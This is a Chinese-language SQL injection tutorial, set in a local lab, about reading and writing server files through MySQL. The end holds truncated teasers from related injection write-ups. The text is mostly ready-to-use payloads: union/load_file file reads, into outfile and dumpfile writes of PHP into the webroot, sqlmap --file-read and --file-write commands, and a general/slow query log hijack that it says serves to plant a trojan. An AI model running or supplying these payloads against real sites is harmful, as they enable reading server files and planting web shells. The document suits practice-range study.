sql注入漏洞除了可以對資料庫進行資料的查詢之外,還可以對的伺服器的檔案進行讀寫操作。
靶場:
首先在d盤根目錄下新建乙個test.txt檔案,為要讀取的目標檔案,內容為:好好學習,天天向上!
語句: select load_file(『檔案路徑』)
union select 1,2,load_file('d:')--+
語句:--file-read 檔案路徑 從資料庫伺服器中讀取檔案
python sqlmap.py -u "" --file-read "d:/test.txt"
select '<?php phpinfo() ?>' into outfile '目的檔案'
select '<?php phpinfo() ?>' into dumpfile '目的檔案' (用於二進位制檔案)
union select 1,2,'' into dumpfile 'd:\phpstudy_pro\www\a.php'--+
訪問成功,檔案已寫
union select 1,2,'' into outfile 'd:\phpstudy_pro\www\b.php'--+
訪問成功,檔案已寫
語句:--file-write 本地檔案 --file-dest 目的檔案
例:將本地d:/test.txt檔案,寫入d:/phpstudy_pro/www/aa.php中
python sqlmap.py -u "" --file-write "d:/test.txt" --file-dest "d:/phpstudy_pro/www/aa.php"
訪問成功,檔案已寫
使用者許可權足夠高,盡量具有root許可權。
secure_file_priv 選項不對檔案讀寫許可權限制
知道絕對物理路徑
能夠使用聯合查詢(sql注入時)
and (select file_priv from mysql.user where user='root' and host='localhost')='y'%23
secure_file_priv引數用來限制資料匯入和匯出操作的效果
show global variables like '%secure%';
mysql 5.6.34版本以後,配置檔案預設沒有secure_file_priv這個選項,實際為null。並且無法用sql語句對其進行修改,只能夠通過修改以下檔案。
windows下 my.ini通過日誌檔案,原理都是修改日誌存放的路徑及檔案,通過執行操作把木馬存入修改後的日誌中,達到寫入木馬的目的。[mysqld]
secure_file_priv=
linux下 cat /etc/my.cnf
[mysqld]
secure_file_priv=
show variables like 'general_log%'; 查詢日誌
show variables like '%slow_query_log%'; 慢查詢日誌
set global general_log = 'on'; 查詢日誌
set global slow_query_log=1; 慢查詢日誌
set global general_log_file="d:/phpstudy_pro/www/test.php"; 查詢日誌
set global slow_query_log_file='d:/phpstudy_pro/www/test.php』; 慢查詢日誌
預設日誌路徑已更改
select '<?php phpinfo() ?>'; 查詢日誌
select '<?php phpinfo() ?>' or sleep(11); 慢查詢日誌
命令執行時間超過long_query_time設定的值(預設10s),則會儲存至慢查詢日誌。
檢視long_query_time設定的值
show global variables like '%long_query_time%';
sql注入之 讀寫檔案,帶外攻擊
在my.ini加上secure file priv secure file priv 代表對檔案讀寫沒有限制 secure file priv null代表不能進行檔案讀寫 secure file priv d 代表只能對改路徑下檔案進行讀寫 函式 load file 語句 id 1 union s...
SQL注入總結
在大部分語言中都一樣是注釋。這個之中的語句是不被執行的。但mysql中 為了保持相容,比如從mysqldump 匯出的sql語句能被其它資料庫直接使用,它把一些特有的僅在mysql上的語句放在 中,這樣這些語句如果在其他資料庫中是不會被執行,但在mysql中它會執行。僅當mysql的版本等於或高於指...
sql注入總結
第一天 url 統一資源定位符 協議 主機號 目錄 注釋符 20 代表空格 order by 15 閉合條件為 猜測列數 union all select 1,2,3 猜測顯示位 select schema name from information schema.schemata 查庫名 sele...